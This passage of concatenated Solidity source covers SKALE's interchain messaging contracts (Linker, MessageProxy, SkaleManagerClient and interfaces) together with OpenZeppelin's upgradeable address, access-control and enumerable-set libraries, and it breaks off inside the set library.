Twin(_mainnetContracts.at(i)).addSchainContract(schainName, schainContracts[i]); } messageProxy.addConnectedChain(schainName); } function allowInterchainConnections(string calldata schainName) external onlySchainOwner(schainName) { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require(statuses[schainHash] == KillProcess.NotKilled, "Schain is in kill process"); interchainConnections[schainHash] = true; messageProxy.postOutgoingMessage( schainHash, schainLinks[schainHash], Messages.encodeInterchainConnectionMessage(true) ); } function kill(string calldata schainName) external { require(!interchainConnections[keccak256(abi.encodePacked(schainName))], "Interchain connections turned on"); bytes32 schainHash = keccak256(abi.encodePacked(schainName)); if (statuses[schainHash] == KillProcess.NotKilled) { if (hasRole(DEFAULT_ADMIN_ROLE, msg.sender)) { statuses[schainHash] = KillProcess.PartiallyKilledByContractOwner; } else if (isSchainOwner(msg.sender, schainHash)) { statuses[schainHash] = KillProcess.PartiallyKilledBySchainOwner; } else { revert("Not allowed"); } } else if ( ( statuses[schainHash] == KillProcess.PartiallyKilledBySchainOwner && hasRole(DEFAULT_ADMIN_ROLE, msg.sender) ) || ( statuses[schainHash] == KillProcess.PartiallyKilledByContractOwner && isSchainOwner(msg.sender, schainHash) ) ) { statuses[schainHash] = KillProcess.Killed; } else { revert("Already killed or incorrect sender"); } } function disconnectSchain(string calldata schainName) external onlyLinker { uint length = _mainnetContracts.length(); for (uint i = 0; i < length; i++) { Twin(_mainnetContracts.at(i)).removeSchainContract(schainName); } messageProxy.removeConnectedChain(schainName); } function isNotKilled(bytes32 schainHash) external view returns (bool) { return statuses[schainHash] != KillProcess.Killed; } function hasMainnetContract(address mainnetContract) external view returns (bool) { return _mainnetContracts.contains(mainnetContract); } function hasSchain(string calldata schainName) external view returns (bool connected) { uint length = _mainnetContracts.length(); connected = messageProxy.isConnectedChain(schainName); for (uint i = 0; connected && i < length; i++) { connected = connected && Twin(_mainnetContracts.at(i)).hasSchainContract(schainName); } } function initialize( IContractManager contractManagerOfSkaleManagerValue, MessageProxyForMainnet messageProxyValue ) public override initializer { Twin.initialize(contractManagerOfSkaleManagerValue, messageProxyValue); _setupRole(LINKER_ROLE, msg.sender); _setupRole(LINKER_ROLE, address(this)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: AGPL-3.0-only /* IWallets - SKALE Manager Interfaces Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaeiv SKALE Manager Interfaces is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager Interfaces is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface IWallets { function refundGasBySchain(bytes32 schainId, address payable spender, uint spentGas, bool isDebt) external; function rechargeSchainWallet(bytes32 schainId) external payable; } // SPDX-License-Identifier: AGPL-3.0-only /* ISchains.sol - SKALE Manager Interfaces Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaeiv SKALE Manager Interfaces is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager Interfaces is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.10 <0.9.0; interface ISchains { function verifySchainSignature( uint256 signA, uint256 signB, bytes32 hash, uint256 counter, uint256 hashA, uint256 hashB, string calldata schainName ) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /** * IMessageReceiver.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; interface IMessageReceiver { function postMessage( bytes32 schainHash, address sender, bytes calldata data ) external returns (address); } // SPDX-License-Identifier: AGPL-3.0-only /** * MessageProxy.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaiev * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "./interfaces/IMessageReceiver.sol"; abstract contract MessageProxy is AccessControlEnumerableUpgradeable { using AddressUpgradeable for address; bytes32 public constant MAINNET_HASH = keccak256(abi.encodePacked("Mainnet")); bytes32 public constant CHAIN_CONNECTOR_ROLE = keccak256("CHAIN_CONNECTOR_ROLE"); bytes32 public constant EXTRA_CONTRACT_REGISTRAR_ROLE = keccak256("EXTRA_CONTRACT_REGISTRAR_ROLE"); bytes32 public constant CONSTANT_SETTER_ROLE = keccak256("CONSTANT_SETTER_ROLE"); uint256 public constant MESSAGES_LENGTH = 10; struct ConnectedChainInfo { // message counters start with 0 uint256 incomingMessageCounter; uint256 outgoingMessageCounter; bool inited; } struct Message { address sender; address destinationContract; bytes data; } struct Signature { uint256[2] blsSignature; uint256 hashA; uint256 hashB; uint256 counter; } // schainHash => ConnectedChainInfo mapping(bytes32 => ConnectedChainInfo) public connectedChains; // schainHash => contract address => allowed mapping(bytes32 => mapping(address => bool)) public registryContracts; uint256 public gasLimit; /** * @dev Emitted for every outgoing message to `dstChain`. */ event OutgoingMessage( bytes32 indexed dstChainHash, uint256 indexed msgCounter, address indexed srcContract, address dstContract, bytes data ); event PostMessageError( uint256 indexed msgCounter, bytes message ); event GasLimitWasChanged( uint256 oldValue, uint256 newValue ); modifier onlyChainConnector() { require(hasRole(CHAIN_CONNECTOR_ROLE, msg.sender), "CHAIN_CONNECTOR_ROLE is required"); _; } modifier onlyExtraContractRegistrar() { require(hasRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender), "EXTRA_CONTRACT_REGISTRAR_ROLE is required"); _; } modifier onlyConstantSetter() { require(hasRole(CONSTANT_SETTER_ROLE, msg.sender), "Not enough permissions to set constant"); _; } function initializeMessageProxy(uint newGasLimit) public initializer { AccessControlEnumerableUpgradeable.__AccessControlEnumerable_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(CHAIN_CONNECTOR_ROLE, msg.sender); _setupRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender); _setupRole(CONSTANT_SETTER_ROLE, msg.sender); gasLimit = newGasLimit; } // Registration state detection function isConnectedChain( string memory schainName ) public view virtual returns (bool) { return connectedChains[keccak256(abi.encodePacked(schainName))].inited; } /** * @dev Allows LockAndData to add a `schainName`. * * Requirements: * * - `msg.sender` must be SKALE Node address. * - `schainName` must not be "Mainnet". * - `schainName` must not already be added. */ function addConnectedChain(string calldata schainName) external virtual; /** * @dev Allows LockAndData to remove connected chain from this contract. * * Requirements: * * - `msg.sender` must be LockAndData contract. * - `schainName` must be initialized. */ function removeConnectedChain(string memory schainName) public virtual onlyChainConnector { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require(connectedChains[schainHash].inited, "Chain is not initialized"); delete connectedChains[schainHash]; } /** * @dev Sets gasLimit to a new value * * Requirements: * * - `msg.sender` must be granted CONSTANT_SETTER_ROLE. */ function setNewGasLimit(uint256 newGasLimit) external onlyConstantSetter { emit GasLimitWasChanged(gasLimit, newGasLimit); gasLimit = newGasLimit; } /** * @dev Posts message from this contract to `targetSchainName` MessageProxy contract. * This is called by a smart contract to make a cross-chain call. * * Requirements: * * - `targetSchainName` must be initialized. */ function postOutgoingMessage( bytes32 targetChainHash, address targetContract, bytes memory data ) public virtual { require(connectedChains[targetChainHash].inited, "Destination chain is not initialized"); require( registryContracts[bytes32(0)][msg.sender] || registryContracts[targetChainHash][msg.sender], "Sender contract is not registered" ); emit OutgoingMessage( targetChainHash, connectedChains[targetChainHash].outgoingMessageCounter, msg.sender, targetContract, data ); connectedChains[targetChainHash].outgoingMessageCounter += 1; } function postIncomingMessages( string calldata fromSchainName, uint256 startingCounter, Message[] calldata messages, Signature calldata sign ) external virtual; function registerExtraContractForAll(address extraContract) external onlyExtraContractRegistrar { require(extraContract.isContract(), "Given address is not a contract"); require(!registryContracts[bytes32(0)][extraContract], "Extra contract is already registered"); registryContracts[bytes32(0)][extraContract] = true; } function removeExtraContractForAll(address extraContract) external onlyExtraContractRegistrar { require(registryContracts[bytes32(0)][extraContract], "Extra contract is not registered"); delete registryContracts[bytes32(0)][extraContract]; } /** * @dev Checks whether contract is currently connected to * send messages to chain or receive messages from chain. */ function isContractRegistered( string calldata schainName, address contractAddress ) external view returns (bool) { return registryContracts[keccak256(abi.encodePacked(schainName))][contractAddress] || registryContracts[bytes32(0)][contractAddress]; } /** * @dev Returns number of outgoing messages to some schain * * Requirements: * * - `targetSchainName` must be initialized. */ function getOutgoingMessagesCounter(string calldata targetSchainName) external view returns (uint256) { bytes32 dstChainHash = keccak256(abi.encodePacked(targetSchainName)); require(connectedChains[dstChainHash].inited, "Destination chain is not initialized"); return connectedChains[dstChainHash].outgoingMessageCounter; } /** * @dev Returns number of incoming messages from some schain * * Requirements: * * - `fromSchainName` must be initialized. */ function getIncomingMessagesCounter(string calldata fromSchainName) external view returns (uint256) { bytes32 srcChainHash = keccak256(abi.encodePacked(fromSchainName)); require(connectedChains[srcChainHash].inited, "Source chain is not initialized"); return connectedChains[srcChainHash].incomingMessageCounter; } // private function _addConnectedChain(bytes32 schainHash) internal onlyChainConnector { require(!connectedChains[schainHash].inited,"Chain is already connected"); connectedChains[schainHash] = ConnectedChainInfo({ incomingMessageCounter: 0, outgoingMessageCounter: 0, inited: true }); } function _callReceiverContract( bytes32 schainHash, Message calldata message, uint counter ) internal returns (address) { try IMessageReceiver(message.destinationContract).postMessage{gas: gasLimit}( schainHash, message.sender, message.data ) returns (address receiver) { return receiver; } catch Error(string memory reason) { emit PostMessageError( counter, bytes(reason) ); return address(0); } catch (bytes memory revertData) { emit PostMessageError( counter, revertData ); return address(0); } } function _registerExtraContract( bytes32 chainHash, address extraContract ) internal { require(extraContract.isContract(), "Given address is not a contract"); require(!registryContracts[chainHash][extraContract], "Extra contract is already registered"); require(!registryContracts[bytes32(0)][extraContract], "Extra contract is already registered for all chains"); registryContracts[chainHash][extraContract] = true; } function _removeExtraContract( bytes32 chainHash, address extraContract ) internal { require(registryContracts[chainHash][extraContract], "Extra contract is not registered"); delete registryContracts[chainHash][extraContract]; } /** * @dev Returns hash of message array. */ function _hashedArray(Message[] calldata messages) internal pure returns (bytes32) { bytes memory data; for (uint256 i = 0; i < messages.length; i++) { data = abi.encodePacked( data, bytes32(bytes20(messages[i].sender)), bytes32(bytes20(messages[i].destinationContract)), messages[i].data ); } return keccak256(data); } } // SPDX-License-Identifier: AGPL-3.0-only /** * SkaleManagerClient.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Artem Payvin * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@skalenetwork/skale-manager-interfaces/IContractManager.sol"; import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol"; /** * @title SkaleManagerClient - contract that knows ContractManager * and makes calls to SkaleManager contracts * @author Artem Payvin * @author Dmytro Stebaiev */ contract SkaleManagerClient is Initializable, AccessControlEnumerableUpgradeable { IContractManager public contractManagerOfSkaleManager; modifier onlySchainOwner(string memory schainName) { require( isSchainOwner(msg.sender, keccak256(abi.encodePacked(schainName))), "Sender is not an Schain owner" ); _; } /** * @dev Checks whether sender is owner of SKALE chain */ function isSchainOwner(address sender, bytes32 schainHash) public view returns (bool) { address skaleChainsInternal = contractManagerOfSkaleManager.getContract("SchainsInternal"); return ISchainsInternal(skaleChainsInternal).isOwnerAddress(sender, schainHash); } /** * @dev initialize - sets current address of ContractManager of SkaleManager * @param newContractManagerOfSkaleManager - current address of ContractManager of SkaleManager */ function initialize( IContractManager newContractManagerOfSkaleManager ) public virtual initializer { AccessControlEnumerableUpgradeable.__AccessControlEnumerable_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); contractManagerOfSkaleManager = newContractManagerOfSkaleManager; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable { function getRoleMember(bytes32 role, uint256 index) external view returns (address); function getRoleMemberCount(bytes32 role) external view returns (uint256); } /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping (bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if(!hasRole(role, account)) { revert(string(abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ))); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees 